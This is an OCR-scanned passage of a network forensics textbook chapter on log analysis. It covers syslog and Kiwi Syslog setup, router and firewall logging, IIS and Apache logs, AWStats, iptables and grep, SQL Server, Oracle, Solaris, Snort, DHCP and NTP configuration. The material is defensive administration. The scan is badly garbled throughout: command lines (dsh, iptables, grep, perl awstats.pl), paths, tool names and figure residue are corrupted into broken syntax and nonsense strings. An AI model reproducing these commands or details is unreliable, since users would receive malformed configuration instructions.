and receivers support syslog, it is used to integrate log data from different types of systems. Syshog's infrastroc-
ture can be seen in Figure 7-1.

Syslog text is up to 1,024 bytes in length. Syslog messages are received on UDT port 514 of the syslog server
{also called the syshog domain). UDP-hased syslog messages are not guaranteed to reach their destination, and
the receiver canmot identify that the message is from the reported server.

Setting Up Syslog
1. Deploy syslog server |daeman)
= Enter the following at the command prompt:
setup syslog add hosti<ipaddresss [outputicfacility s «levels] [portizportnum:s] [datetime]
For example:
setup syslog add host10.7.38.100 sutputilocal4,3 datetime
2. Enable the logging feature

= Type the following at the command prompt to enable the logging feature, so that messages will ke sent
tw the sysbog server:

setup syslog on
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* To check whether the logging feature is on or off, type the following at the command prompt:
setup syslog show [<ipaddresss]
Table 7-1 shows the facility types and their values.

Lz zAnalvsiz Software

Caps righa © by EC-CEUNEd]
All righrs emres] Repradsosan s ancly prebinsed

Figure 7-1 Syslog is compatible with a wide variety of devices.

Clodk daeman dkd? 15

Table 7-1 Thesa are syshog's fality types and values
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System Error Logs

Tor record error events with various fun:tim-spe:il:i: Ing files, AIX [Advanced Imteractive eXecutive] uses ESD
syslog and AIX proprietary error logging facilities. The default size of its error log facility is configured to be
1 ME. Once the log exceeds the log capacity, it overwrites the existing entries. To avoid overwriting, an admin-
istrator can set the error log facility size to 4 MB. This can be done once for all nodes with the dsh command
after nodes are installed. For example:

dsh - a fusr/libferrdemon -s 4096000

Enabling Message Logging

Edit fetctsysconfigfsyslog on the syslog server.

Add -r to the SYSLOGD_OPTIOMS variable.

Telnet into the system.

Issue the enable command and enter the enable-mode password.
Issue the following commands:

set syslog enabled st syslog port 514 set

syshog remote sserver-ipaddresss write

To view the syslog settings, use this command:

show Syslog

Kiwi Syslog Daemen

Kiwi Syslog Daemon is a freeware syslog daemon for Windows. It receives logs and displays, and forwards syslog
messages from hosts such as routers, switches, UNTX hosts, and any other syslog-enabled devices.
The following are some of its features:

FIX firewall logging

Linksys home-firewall logging

SMMP trap and TCF support

SNMP MIB parsing

Ability to filter, parse, and madify messages, and take actions via VBScript/[Script engine
GUI-hased syslog manager

Mlessages displayed in real time as they are received

10 virtual displays for organizing messages

Message logging or forwarding of all messages, or based on priocity or time of day
Automatically split the log file by priority or time of day

Receives messages via UDP, TCPE, or SMMP

Forwards messages via UDF or TCP

Automatic log file archiving based on a custom schedule

Mlessages-per-hour alarm notification with avdible svund o e-mail

Lag file size alarm notification with audible sound or e-mail

Minimizes to the system tray

Maintains source address when forwarding messages to other syslog hosts

Syslog statistics with graph of syslog trends |last 24 hrsflast 60 mins)

Syslog message buffering ensuring messages are not missed under heavy load

DS resolution of source host 17 addresses with optional domain removal

DMS caching of up to 100 entries to ensure fast lookops and minimize DNS lookups
Preemptive DMNS lookup using up to 10 threads
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Figure 7-2 The Kiwi Syslog Daemaon is a GUl-based syslog manager.

Kiwi Syslog™s actions, shown in Figure 7-2, include:
* Powerful scripting engine for filtering, parsing, custom statistics, and performing actions

-

-

-

-

Log to an ODBC database |AccessSOQLOmcle/MySQ LS Informix, etc)
Write logs to the Windows NT Application Event Log

Forvward received syslog messages via e-mail

5end a syslog message to another host when the filter conditions are met
Send an SNMF trap

Run an external program when the filer conditions are met

Pass values from the received syslog message to an external program, e-mail m

ar syshog

such as:

® Dlessage text

* Time of message

= Date of message

= Host name

= Facility

= Level

= Alarm threshold values

* Current syslog statistics

Configuring Kiwi Syslog to Log to an MS SQL Database

1.
. Set the DSN name to the system DS,
. Enter a table name.

. Select Kiwi SQL format 150 from the Database typetfield format drop-down list.

[

o

Create a Log to ODBC database action, as shown in Figure 7-3.
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Figure 7-4 Select the correct NIC and enter udp port 514 as the capture fitter.

T

5. Click the Create table button to erase any existing table and create a new one with all the

standard fields.
6. Click the Test button to generate a test message.
7. Click the Query table button to see the entries in the table.

Configuring Ethereal to Capture Syslog Messages

Follow these steps to have the Ethereal program capture syslog messages:

1. From Ethereal, click Options from the Capture menu.

2. Select the correct WIC and define a capture filter that will loak for all packets sent to UDT port 514 (the

default syslog port), as shown in Figure 7-4.
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Figure 7-5 I padeets are shown with the Sysleg protocal, Ethereal is
configured correctly.

3. Click the Start button and Ethereal will begin capturing packets.
4. Stop the capture and view the data. If packets are shown with the Syslog protecal, as shown in Figure 7-5,

Ethereal is now configured correctly.

It should be noted that due to trademark issues, when Gerald Combs, the creator of Ethereal, left his former
employment in 2006, he was unable to keep the name of his application, and it was changed to Wireshark (see
page 7-16). Ethereal is still in use today, but it is recommended that users switch to Wireshark to stay up o date.
The commands and interface are the same.

sending Log Files Via E-Mail
Sending log files via e-mail requires a ‘Win32 command-line utility called Blat. The following are the steps for
installing Elat for use with Kiwi Syslog Daemon, as shown in Figure 7-6:
1. Omce downloaded, install Blat using this command:

blat -install =serveraddrs <senderaddr=

Far example:

blat -imstall lncalhost kiwi@yourcompany.com
. For a full list of commands, type blat -h from the Blat installation directory.
. Create a new text file in the Blat installation directory, called kiwisyshog.txe.

. Orpen the newly created file, and enter the text to be displayed as the body of the e-mail message—Ffor
example, *Log files sent from Kiwi Sysleg Daemon.”
. Orpen the Kiwi Syslog Daemon properties window by selecting File, Setup from the main menu.
6. Select Archiving, and then set up an archive schedule for the log files to be e-mailed.
* Hourly or daily schedule
= Source folder: CAProgram Files\Syslogd\Logs
# Destination folder: CAProgram Fils\SyslogdiBlatLogs
* Choose the Use dated file mames option
Set the date format to Y Y Y ¥-MM-DD-HH-NM-55 to ensure that all moved files are unigue

[
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Figure 7-6  Kiwi Syslog Daemon can be configured to e-mail reports.

* Check the Run program after move option

® File to run: C:blatblat.exe

* Command line: Ciblafkiwisyslog.ixt -to netadmin@yourcompany.com -attach = %FileZipLong™
* Check the Zip files after archiving option

Check the All files into single zip option

Configuring Cisco Routers for Syslog

Tar comfigure a Cisco Router for syslog, telnet into the router or connect o it via the console and enter enable
marde. From the enable prompt on the rowter, enter the following commands:
config term
logging on
logging facility local?
logging [<IF* address= | «Host name of machine running Kiwi Syshogs]
end
Mote that any facility, not just local?, can be used instead.

Configuring D-Link Routers for Syslog

Follow these steps to configure a D-Link router for syslog:

. Confirm that the router is installed and working,.

. Gavinto the configuration panel by opening a Web browser to brp:0 192, 168.0.1.
. Click on the Advanced Settings tab from the top navigation bar.

. Select Administration Settings from the left-side navigation bar.

. Under SYSTEM Log, click on Enable System Log Function and emter the IF address of the computer with
Kiwi Syslog Daemon installed.

6. Use the router’s Web administration to configure the router to broadcast its bogs using syslog.

b e i b e
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Figure 7-7  From Kiwi setup, click Rules, Default, Actions, and finally Log to File.

Configure Kiwi to catch these logs and write them o disk.

Install CVTWIMN so that it can read the log that Kiwi writes to disk, convert the log to D5hield format,
and send it to DShield.

Enter the IP address of the machine that will be running Kiwi. Make sure that Enable is checked.
Click Apply.

Start the Kiwi application.

Click File, Properties.

Click Rules, Default, Actions, and then Log to file, as shown in Figure 7-7.

Confirm that Log file format is set to Kiwi format 150 yyyy-mm-dd | Tab delimited).

Configure CVTWIN to use the log file seen on the screen.

Confirm that Kiwi is set up to accept the log in the manner that the router/firewall is saving it.
Click the Apply button and then the OK button,

Configuring Cisco PIX for Sysleg
The commands for syslog on Cisco FIX routers are as follows:

syslog host <#.8.8. 8=
syshog output <X Y=

In these commands, <#.#.8.8> represents the syslog servers address, X is the logging facility, and Y is the
severity level. In order to translate any number X into the appropriate logging facility, subtract 16 from the
X value. For instance, an X value of 21 would correspond to the local facility. The ¥ value can be between 0
and 7, with 0 being the most severe.
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Configuring an Intertex/Ingate/PowerBit/SurfinBird ADSL Router for Syslog

1. Visit the routers Internet Gate Web page using a Web browser. The default address of this page
is 192.168.0.1.

. Login.

. Click Administration.

. In the Syslog server field, enter the [P address of the computer running the Kiwi Syslog Server.
. Click the Save button.

Configuring a Linksys Wireless VPN Router for Syslog

. Log in to the Linksys router using a Web browser.

. Click on the Administration tab and then the Log tab.

In the Syslog notification section, set the option to Enabled.

Enter a device name.

Enter the IF address of the machine running Kiwi Syslog Daemon.

. Set the types of syslog messages that should be lopged, and set the priority to debog.
Under the Alert Log section, check the boxes relating to any alerts that should be received.
. Under the Gemeral Log section, check the boxes relating to messages that should be sent.

. Click the Save Settings link at the bottom of the page.

Configuring a NETGEAR ADSL Firewall Router for Syslog

. Log in to the NETGEAR router though o ‘Web browser.

. Under SECURITY in the left fame, select Security logs.

. O the Security bogs screen, under the Syshog section, check the Send to this Syslog server IP address opeion.
In the S5end syslog to this address field, enter the [P address of the system running Kiwi Syslog Daemon.
. Oiptionally, check any log items for the device to send from the Include in Log section.

oW sl Bh ol o e b= [

o L b=

Analyzing Web Server Logs

Gathering Log Files from an 115 Web Server

The default location of 115 log files is CAWindowsisystem32\ LogFilestW35WC1, These files contain client
request information. The naming convention of these log files is ex*.log, as shown in Figure 7-8.

If the logs are not in the default kecation, their directory can be found using Internet Service Manager (15M).
This program can be found under Administrative Tools in the Windows Contral Panel. After selecting the
Internet Service Manager option in the ISM window, perform the following steps, as shown in Figure 7-9:

1. To view a list of servers, double-click on 115 (Intermet Information Services).

2. To view a list of sites, double-click on the server's name.

=
AT
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eTE ey,
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Figure 7-B  This is a Windows folder full of 15 log files.
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Figure 710 These are the format fields of an Apache Web server access log.

3. Right-click the name of the site in use, usually Default Web Site, and click Properties.
4. At the bottom of the dialog box, click on Properties in the Enable Logging section.

Omee the log files” hecation is determined, the log files can be reviewed by navigating to that directory. To
read these files, any standard text editor can be nsed.

Apache Web Server Log
The Apache server’s access log configuration is in the following format:
LogFormatb”§hildvde "k bsskb”common Custombog logsfaccess _ log common
The format fields, shown in Figure 7-10, are as follows:
1. %h: I address of the client
2. %l: Mentd of client machine
3. % User [D of client
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. Yat: Time

%r: Request line from client
Y%x: Status code

. %ab: Size of the ohject returned to the dient

AWStats

AWStats is a CGI or command-line log analysis tool that generates advanced Wehb, streaming, FTF, or mail
server statistics graphically. It uses a partial information file to quickly process large log Files.
AW Stats is shown in Figure 7-11, and its features include the following:

Amnalyzes many popular log formats, including Apache MCSA combined log files (XLFELF) or common

log files {CLF), [15 log files (W 3C), WebStar native log files, and other Web, proxy, WAF, or streaming
server |og files, plus FTP and mail log files

Works from the command line and from a browser as a CGI scripe, with dynamic filtering capabilities
fur some charts

Updates of statistics can be made from a Web browser
Unlimited log file size

Supports split log files using a load balancing system

Support incorrectly sorted log files, even for entry and exit pages

Reverse DMNS lookup before or during analysis, supporting DMNS cache files, including country detection
from IP bocation (GeolP) or domain name

Support for a mubtitude of optionsfilters and plug-ins

Supports multinamed Web sites and virtual servers

Prevents cross-site scripting attacks
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Figure 711 AWS5tats analyzes log files either from the command line or as
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Configuring AWStats for IS5
1. Start the 115 management console snap-in, select the appropriate Web site, and then click Properties, W30C
Extended Log Format, Properties, and finally Extended Properties.
2. Uncheck everything.
3. Check the following fields:
* date
* time
- '-'-“:iF'
* Cs-username
* cx-method
* o5-uri-stem
* os-uri-guery
* sc-status
= sc-hytes
* os-version
* o= User-Agenth
= ox(Referrer|
4. Copy the contents of the AWStars cgi-bin folder on the local hard drive to the servers cgi-bin directory.
This includes awstatspl, awstats.model conf, and the lang, lib, and plugins subdirectories.
5. Move the AWStats icon subdirectory and its contents inte a directory readable by the Web server—for
example, Ciwwwroothicon.
6. Create a configuration file by copying awstats.modeloonf to 2 new file named awstats cmysites.conf,
where <mysitex is the domain or virtwal host name. This new file must be saved in the same cgi-hin
directory as awstats_pl.
7. Edit the new awstats.cmysitex.conf file to match the specific environment:
* Change the LogFile value to the full path of your Web secrver log file. This can also be a relative path
from the cgi-hin directory.
* Change the LogType value to W for analyzing Web log files.
* Change the LogFormat to 2 if using the W3C Extended Log Format described in step 1. In the case of
a custom format, list the 115 fields being logged.
For example:

LogFormab="date time c-ip cs-username cs-method cs-uri-stem cs-uri-guery
sCc-status sc-bytes ce-version cs(Usar-Agent) cs(Referer)”

* Change the Dirlcons parameter to reflect the relative path of the icon directory.

= Set the Siteldomain parameter to the main domain name or the intranet Web server name used to reach
the Web site being amalyzed.

= Set the AllowTolUpdateStatsFromBrowser parameter when using CG1 instead of the command line.
B. Review and change other parameters, as appropriate.

Log Processing in AWStats

To update the bog database, use the following command:

per awstats.pl -config=mysite -update

Tar build and read reports, use the following command-
perd awstats.pl -config=mysite -putpat -staticlinks = awstats.mysite.html]

Tar create specific individual reports, use the following commands:
perl awstats.pl -config=mysite -output=alldomains -staticlinks = awstats.mysite.alldomains.html
perl awstats.pl -config=mysite -output=allhosts -staticlinks = awstats.mysite_allhosts.heml
perl awstats.pl -config=mysite -putput=lasthosts -staticlinks = awstats.mysiteasthosts. himl
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Figure 7-12 This is the Cisco Router Log Viewer.

Analyzing Wired Router Logs

Cisco Router Logs

® Start Router Log Viewer from the ICM Admin Workstation group. The Router Log Viewer window ap-
pears, as shown in Figure 7-12.

® The top Feld of the Router Log Viewer window displays information about each call ICM software has
routed, including-
= The time that the routing request was received
= The dialed number (DM) and the caller’s billing telephone number (AN
= Any caller-entered digits (CED)
® The label that 1M software returned to the routing client

® The bottom field of the window displays any errors that BCM software has encountered in routing
calls, including:
® The time the error coourred

® Text describing the error

Analyzing Wireless Network Device Logs

Analyzing NETGEAR Wireless Router Logs

NETGEAR wireless routers log all URLs in a centralized database. Figure 7-13 shows a breakdown of all of
the parts of a NETGEAR rowter log.

Wireless Traffic Analysis Using Wireshark
Figure 7-14 shows a breakdown of 2 Wireshark log.

Analyzing Windows Logs
Ta configure firewall logs in a Windows system, follow these steps:
1. Open Windows Firewall from the Control Panel.
1. Click the Advanced tab.
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Figure 713 METGEAR router logs show all URLs as well as whether they were
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Figure 7-1 This is a breakdown of & Wireshark log.

3. Click the Settings button in the Security Logging area, as seen in Figure 7-15.
4. Select Logging Options, type a log filename, and then click the OK burton.

Viewing the Local Windows Firewall Log

To view the becal Windows Firewall log, simply locate the log file specified in step 4 above, and open it with a
text editor such as Motepad. The top of the file will show the format of the log entries, as seen in Figure 7-16.

Viewing the Windows Event Log

1. Open Administrative Tools in the Windows Control Panel.
2. Open the Event Viewer.
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Figure 7-16 The Windows Firewsall log can simply be viewed with Notepad.

3. A window will open, like that in Figure 7-17, containing categories of events, includi

= Application

* Security

* System

® Internet Explorer

= Microsoft Office Diagnostics
* Microseft Office Sessions
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Analyzing UNIX Logs
To collect and monitor the UMNIX syslog, use one of the following two programs:
* System Center Operations Manager 2007
* System Center Essentials 2007
The available rule types for collecting or responding to UNIX sysleg messages are:
* Collection rule: All syslog messages are collected
*  Alert-generating rule: Syslog messages are collected when:
® An alett is generated
* A script is run
* A command is run

These programs listen for syslog messages om UPD part 514, so UNIX or Linux hosts should be configured
to use those ports. The administrator should make sure the router is configured to ket that traffic through.

Analyzing Linux Logs
IPTables

IPTables is a built-in firewall teol available on any Linux system that is running kernel version 2.4 or above.
IPTables has many facilities that are not present in other firewalls. Its system-logging feature allows the wser o
set the reporting level of detail.
Tao configure [FTables for logging, use the following command:
iptables -A INFUT - (0 -i ethi} - 192.168.1.1 -p TCP - LOG
The following is an example of an IPTables log:

Feb 23 20:33:50 bigboy kernel: IN=wland OOT=
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MAC=00:06:25:02:59:80:00:20:c5:21:32:88:08:00 ERC=1892_42.53.30
DET=132.1668.1.102
LEN=220 TOS=0x00 PREC=0x00d TTL=t54 ID=30485 PROTO=UDF EPT=53

OPFT=32820 LEN=Z00

Log Prefixing with IPTables

Log prefixing allows the user to define an IPTables rule and specify a text string to be recorded to the logs
whenever that rule is matched. Proper prefixing helps in identifving log patterns.
In these two ﬂ:a.rnp]:s, sthil is the internal intecface and eth is the external interface
iptables -A FORWARD -i ethl -m state --state NEW -5 192.168.1.0v24 -d 0D -j LOG --log-prefix
*OUTBOUND™
iptables -A FORWARDD -i ethl -m state —-state NEW - 192.168.1.0v24 -d 0/0 -j ACCEPT
The first rule states that, for traffic received on the ethl interface, march packets that are new connection re-
quests originating from 192.168.1.0-192_168.1.255, going to any destination IF address. When a match is found,
allow the connection request, log this packet, and prefix the log entry with the text pattern *OUTBOUND.”
The following is an example log entry recorded by this pair of rules. Notice that the word *OUTROUND”
appears just before the packet-specific information:

Oct 31 D6:11:35 gwl kernel: A CUTEOUMD IN=ethl OOT=ethd
ERC=132.168.1.101 DET=2104.15Z.185.1156 LEH=Et3 TOE=[0x0d PREC=OxOD
TTL=1Z7 I0=18437 DF PROTC=TCP SPT=3386S DPFT=B0 WIHDOW=3340

REE=0Dx00 EYH URIP=D

A simple label is created to uniquely distinguish the outbound traffic from all other firewall bog entries. Using
grep (discussed next), a user could then run the following command:
grep OUTBOUND fvar/logimessages » outhound-trafficaxt
The file puthound-traffic.txt would contain all of the bog entries for traffic leaving the internal network and
headed out bo the Internet.

Firewall Log Analysis with Grep

Grep commands are used to search one of more files looking for a specific pattern. This method can help in
arganizing firewall log files. The following is grep’s syntax:
grep [switch] «=string= «logfilename. log=
For example:
grep fin firewall.log
This will search for all instances of “fin™ within the file firewall.log. Any time 2 match is found, the match-
ing line is printed to the screen. Mote that the string “Fin™ would not be matched because the search is case
sensitive.
T maich all case variations of the siring *fin”, the user should use the -i switch:
grep -i fin firewall log
T save the search results in a file rather than displaying them on the screen, use a greater than sign followed
by the path and filename:
grep -i foo firewall log = cilogs\fintxt
T match all lines that do not contain the character string “fin™, use the -v switch-
grep -v fin firewall.log
Use a period as a wildcard character:
grep .38 firewall.log
This will match lines that contain 38 but also D38, 138, 238, A3E, a38, etc. To search for a pericd, rather
than interpreting the period as a wildcard, precede it with a backslash:
grep %53 firewall.log
Only instances of *.53” would be matched by the above command.



120

Chaptor 7

Analyzing SQL Server Logs

A database server records all database requests in its own log files. When the database server is installed,
the location of these log files is specified. For more information about this configuration, consult the specific
server’s decumentation,

Using SQL Server to Analyze Web Logs

Web logs are delimited text files, formatted as follows:
date time c-ip cs-method cs-uri-query sC-status
sc-hytes time-taken s User-Agent) o[ Cookie| cs| Referrer)

In the 50)L server transaction log, the database engine maintains a complete transaction record in the da-
tabase while the S0 server is running. The transaction log is a sequential record of all changes made to the
database. Each database contains one physical transaction and one data file. The SQL server maintains a buffer
of all data changes; actual data are contained in a separate file to protect the server from transaction loss.

Apex5QL Log
ApexSQL Log is a Microsoft 5011 Server log auditing and recovery tool that analyzes a Microsoft S0L Server’s
own transaction log to display information on data changes, including the user, computer, and application from
which the change originated.

ApexSOL Log reads the transaction log; no database overhead or use of database triggers is required. It is
showen in Figure 7-18, and its features include the following:

* Reads online logs, detached bogs, and log backups

* Recovers dropped/truncated tables, tracks individual row histary, and can generate UNDO and REDO
scripts an the fly

* Has powerful filtering abilities to locate and isolate specific transactions
* Drisplays Field-level data for each row

* Displays history of changes to a row

= Audits multiple transaction log backups or live bog files

| [etsats parorasa] -

S e e i

cmwcmib-h-ﬁ.
Al rights resaread. Ripradaction iosecrly painbaed
Figure T-1B  Apex30L Log provides an easy-to-use GUI for auditing Microsoft S0L
Server logs.
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® &4-hit support

® S0)L Server 2005 Support (SOL Server 7 and 2000 still supported)

® HRecovery Wizard recovers dropped, deleted, truncated, and lost data as well as dropped objects
* Log Creation Wizard

= Column-level grid filter for complex and compound filtering

Configuring Apex5QL Log

I. Launch Apex50L Log.
2. Click File and then New Log.

3. In the Log Selection Wizard, shown in Figure 7-19, select the server name, and then check either the
‘Windows Authentication button or the SQL Server Authentication button.

. Enter the authentication credentials and select the database.

. Click the Mext butten.

. In the Log Wizard, shown in Figure 7-20, check the logs to be wsed.
. Click the Finish butten.

PR - TS

Analyzing Oracle Logs

The log file parallel-write Oracle metric indicates the process is waiting for blocks to be written to all online
reda log members in one group. LGWHR |LoG WRiter] is an Oracle background process and is typically the
only process to see this wait event. It will wait until all blecks have been written to all members. Oracle wait
analysis that provides detailed information abowt the wait state for ongoing Oracle transactions can be divided
imto three areas:

B [ e Yew Edov vk
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Figure 7-19  Fill in all of the required information and click the Mext button.
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Figure 7-20 3slect the logs to be used and dick the Finish button.

* Time-based svent amalysis: Helpful information can be gathered frequently because of fluctuations in
wtits using the Oracle STATSPACK utility.

* Systemuide event analysiz: With this analysis, systemwide events can be tracked and background
processes can be viewed.

* Sessioor wait events: Using these real-time waits, the techniques to becate the cause of wait events can
b viewed.

All ongoing transaction information can be ohtained with vSsession_wait and vEsystem_event.

As Oracle takes snapshots of the active database every second, the v$active_session_history wiew maintains
a record of the recent active session’s activities. [t causes very little system overhead and provides easier tracing

sexsions for Oracle DBAs,
The log file single-write Oracle metric occurs:

* When the waiting period for the write to this log file is completed
* When the log file header is updated
The Orracle metric log file is shown in Figure 7-21.

Analyzing Solaris Log Files
By default, all Solaris-generated messages go to varfadmimessages. This is an ASCII text-format file containing
system warnings, errors, and messages from the system’s memory. It provides a time-stamped record of system

Events.
COrther components of a standard Solaris syslog system include:

* Syelogd system daemon or program, used to receive and route system log events from syslog|] calls and
lopger commands



Analyzing WP Sorver Logs

w2 T ek ek

A N0 E T 23 iphe
e P T pos ey s
Jadtd b b 7 P i e 70 T e
e skl i bt i Fren ots [T
Bk ends b G oen00 el i {F il ST Sokar 30
ey W e = I
L - rm H™ |- AN Pl ;I

B 3 S eI e Py
(Rl 'l.I]
| A }
| 2 H
; i : !

| | | | |
R !
m uﬁ.a;...-:tmur:':-ml' ,‘l } i 'llvvw-. - = N
o |
o - :
m 1 [
".I‘HR:‘{‘!—E;:!?F}E:.‘.”.?’.T"?E

e BEDAET | g e pactliel wid - swars;!

e e L ]

T i Py s, B ek w1 b b 3 e s G praintin s 6§ g net Py e b s m sl e a

Lakten
gt eyt | ok Lo k4=t = = LAl )

Figure 7-21

The main Oracle log is the Orade metric log file.
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= Jfetcisyslog.conf configuration, used to control kogging and routing of system bog events

* Logger UNIX command wsed to add single-line entries to the system log

Analyzing VPN Server Logs

123

Event logs are useful to analyme problems with an IPSec connection between a VPN client and a peer VPN
device. The VPM client log stores the event messages from all processes that imvolve a client-peer connection.

Figure 7-21 shows the Cisco VPN client.

T enahble logging, click Enable at the top of the WPN Client window; to disable logging, click the Disable but-
ton. To display the events log, shown in Figure 7-13, click Log Window at the top of the VPN Client window.
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Figure 7-231  Click Log Window to open the events log.

Analyzing Firewall Logs

Typically, all traffic that flows into a network passes through a firewall. Most firewalls produce extremely useful
logs, like the one pictured in Figure 7-24, containing the following information:

* Time of the event
* Firewall chain responsible for the log entry
* Interface (Iface) through which the packet came in

Protocal [Proto) used for that packet

-

Source 1 address

* Source port (Src Port)

* MAC address of the sender
* Destination IF address

* Destination port |{Dst Port|
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Figure 7-24 Most firewalls produce very useful and detailed logs.
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Sometimes, an [D5 is located an the inside of the network, past the firewall, for the following reasons:
= A firewall only watches for packets passing through it.
= A firewall will not detect all attack attempts, such as attacks on port 80 of 2 Web server.

These firewall |c|g entries report unsuccessful attemnpts on different blocked ports, s the user can detect new
worms, viruses, and other attacks. Analyzing firewall logs can greatly improve intrusion detection.

ManageEngine Firewall Analyzer
ManageEngine Firewall Analyzer is a Web-based, cross-platform log analysis tool that helps network
administrators and managed-security service providers (M55Fs) understand how bandwidth is being used
in their networks. Firewall Analyzer analyzes logs from different firewalls and generates useful reports
and graphs. It assists in trend analysis, capacity planning, policy enforcement, and dealing with security
CONTIPTImises.

Firewall Analyzer's features include the following:

* Analyzes incoming and outgoing traffic and bandwidth patterns

= [Identifies top Web users and top Web sites accessed

= Projects trends in user activity and network activity

= [Identifies potential virus attacks and hack attempts

= Determines bandwidth utilization by host, protocol, and destination

= Alerts on firewalls generating specific log events

* Analymes efficiency of firewall rules and modifies them if needed

® Determines the complete security posture of the enterprise

= Anomaly detection filters for network behavioral analysis

= User-based firewall views and firewall-based intranet settings

* Creates reports from search resuls

® Cisco PIX and Mentiforce Firewall Admin reparts for compliance

= Streaming and chat site reports

= Enhanced custom report profile creation

= HTML mails for alert profiles and anomaly profiles

® Provision to test mail server settings

= Quick reports for firewalls and squid proxies

* Mative syshog support for WatchGuard and Snort syslog support

® BlueCoat proxy log support

® Enterprise-wide view of network activity

* On-demand and real-time reports

= Scheduled log archiving

= Advanced data amalysis and reporting

* Support for most firewalls

= Historical trending

s Heal-time, threshold-basad a|erti:|15

Installing Firewall Analyzer

Tavinstall Firewall Analyzer on a Windows machine:

* HRun Advent™et_ManageEngine_FirewallAnalyzer_4_windows.exe.
= Follow the instructions that appear on the screen.
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* After a successful installation, it displays a tray icon, which provides the following options:
= Firewall Server Status provides details such as server name, server I address, server port, and server status.

= Start WebClient will open up the default browser and connect the user to the Web login Ul of Fire-
wall Analyzer Server, provided the server has already been started.

= Shutdown Server will shut down the Firewall Analyzer server.
Tavinstall Firewall Analyzer on a Linux machine:
*  Assign execute permission to the Adventtet_ManageEngine_Firewall_Analyzer_4_linwx.bin file using
the following commanad-
chmod a+x A.d\mNﬂ_Mnnq,eEnginz_ﬁmlll_ﬁnll'y::r_l-_linu:l:.l!in
* Execute the following command-
JAdventMNet_ManageEngine_Firewall_Analyzer_4_linux.bin

* If an error message appears stating that the temp directory does not have encugh space, use the follow-
ing command, where <directorynames is the absolute path of an existing directory:
JAdventMNet_ManageEngine_Firewall_Analyzer_4_linuwx.bin -isstempdic «directoryname:=

Viewing Frewall Analyzer Reports
To view Firewall Analyzer reports in Windows:

1. Open Firewall Analyzer from the Start menu to start the server.

2. Omce the server has successfully started, either use the Start WebClient tray icon option or open a Web
browser and go to http:fchostnames 8500

T view Firewall Analyzer reports in Linox:

1. Mavigate to the <Firewall Analyzer_Home/hin directory.
2. Execute the run.sh file to start the Firewall Analyzer server.
3. Omce the server has successfully started, open a Web browser and go to http:#chostnames 8500,

Figure 7-25 shows an example Firewall Analyzer repore.
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Figure 7-25 Firewall Analyzer provides detailed reports.
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Analyzing IDS Logs
snortALog is a Perl script that summarizes Snort logs. It works with all versions of Snort and is currently the
only script that can analyze Snort's logs in all formats [syslog, fast, and full alerts).
SnoreALog is shown in Figure 7-26, and its features include the following:
* Creates HTML, FDF, and ASCII text reports
= Can specify order (ascending or descending)

Can specify the number of occurrences to view

Resolves IP addresses and domains

= Gets WHOIS database information

= Adds colors for best visibility

* Graphical user interface

= Multilanguage output

* Filtering of reference rules

* Generates GIF, PNG, or JPG graphs in HTML output

Snured Log runs on the follvwing operating systems:

* Linux

= FreeBS0r

* OpenBSD
= Solaris

* Windows
= Alac O5
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Figure 7-27  This is an example DHCP log.

Analyzing DHCP Logs
Figure 7-27 shows an example of a DHCF log.

These reports are divided into the following sections:

* Discover: Clients who do not have an IF address broadcase a series of DHCP Discover packets to locate
DHCP servers.

* Offer: Each DHCP server responds with an IP address for a client to use. For normal DHCF,
the user gets the same [P address every time, and all DHCTF servers reply with the same IF address.
When the DHCP address is renewed, the client does not send Discovers and no Offer will
be returmed.

* Request: The client requests the use of ane of the addresses provided. When addresses are renewed, the
client comtacts the DHCP server that provided the address.

* ACK/MAK: The server acknowledges (ACK] or rejects [MAK) the use of the IP address requested
by the user.

Metwork Time Protocol

Metwwork Time Pratocol (NTF) is a protocel used to synchronize the system dlocks of compuaters in a packet-
switched, variable-latency data network with a remote time server or other independent time source. Time
synchronization is required to correlate logging information from multiple devices. All devices on the network
that keep time should be kept synchronized, down to the second if possible.

Metwoark timing is used in faule dingnosis and recovery. Metwork time stamps help an administrator recog-
nize problems such as kost connection, butfer overflows, trapped network events, network crashes, and missing
packets. MTF uses UDT port 123 as its transport laver. MTPv4 supports both symmetric-key and public-key
cryptography to prevent both accidental and malicious attacks.

WTF is important for network forensic investigations because time synchronization among varioos devices

in a nerwork affects all of the following;
* Log file accuracy, auditing, and monitoring
* Metwork faule diagnosis and recovery

* File time stamps
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NTP Client Configuration
I. Ping the selected NTP servers to ensure that the system can reach them.
2. Complete one or bath of the following functions and configure the system to acquire NTF data:
= Assign the WTF servers
= Enable the system to receive broadcasts on an interface

3. If enabling the system to receive broadcasts on an interface, set the estimated round-trip delay between
the system and an NTF broadcast server.

4. For security purposes, disable MTP on interfaces that will not receive NTP communications.

NTP Server Configuration

T enabde a virtual router to act as an NTP server:
l. Access the virtual router contexe.
2. Specify that the virtual router will act as an NTP server.
3. Optionally, specify the strarum of this NTP server.

There are two types of commands used when configuring am W TP server: configuration commands and
auxiliary commandds.

Confliguration Cornmandas

Configuration commands configure an association with a remote server and peer or reference clock. There are
three types of associations:

1. Persistent

1. Preemptive

3. Ephemeral

The following are the configuration commands:

= server: This command generally mobilizes a persistent dlient-mode association with the particalar
remate server or local reference clock.

= peer: This command mobilizes a persistent symmetric active-mode association with the specific
Femote peer.

* broadeast: This command mobilizes a persistent broadcast-mode association.

* manycastcient: This command mobilizes a preemptive manycast client-mode association for the multi-
cast group address specified.

The available command options are:

= autckey

= burst

* jhurst

® key ckeys

= minpoll «minpoll=

* maxpoll cmaxpall=

* noselect

* preempt

= prefer

® brue

® pel <tths

®  yersion <versione
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Auxilary Commands

Auxiliary commands specify environmental variables that control various related operations. These enable re-
ception of broadcast server messages to any local interface address. The following options can be used-

* broadcastclient [novolley]: Allows reception of broadicase server messages at any local interface address
* manycastserver address [k Allows reception of manycast client messages at the multicast group address
* multicasiclient address [...J: Allows reception of multicast server messages at the multicast group address

* dynamic: Allows a server/peer to be configured even if it is not reachable at configuration time

Setting Local Date and Time

The ntpdate command is used to set the bocal date and time. It can be run manually or in the host startup script.
The following is the syntax:
ntpdate | -bBdoqeuy | [ -a key | [ -e authdelay | | -k keyfile | [ -0 version | [ -p samples | | - timeowt | server [ .. ]

Configuring an NTP Client Using the Client Manager

1. If the host is not already configured as an NTF client,, select Services, Add, and finally N TP
2. Ifthe host is already configured as an M TP client, click on M TP client in the list of services, select Services,
and finally select Modify.
3. Select how the client should behave:
* Listen for time broadcasts: The dlient will listen and synchromize with NTP packets broadcast by the
time server on the local netwark.
* Pl time sereers for timne: The client will poll the time servers for time and try to synchronize with them,
* et clock at boot time: The client will try to synchronize its clock at boot time with other time servers.
4. Click the OK buatton to exit.

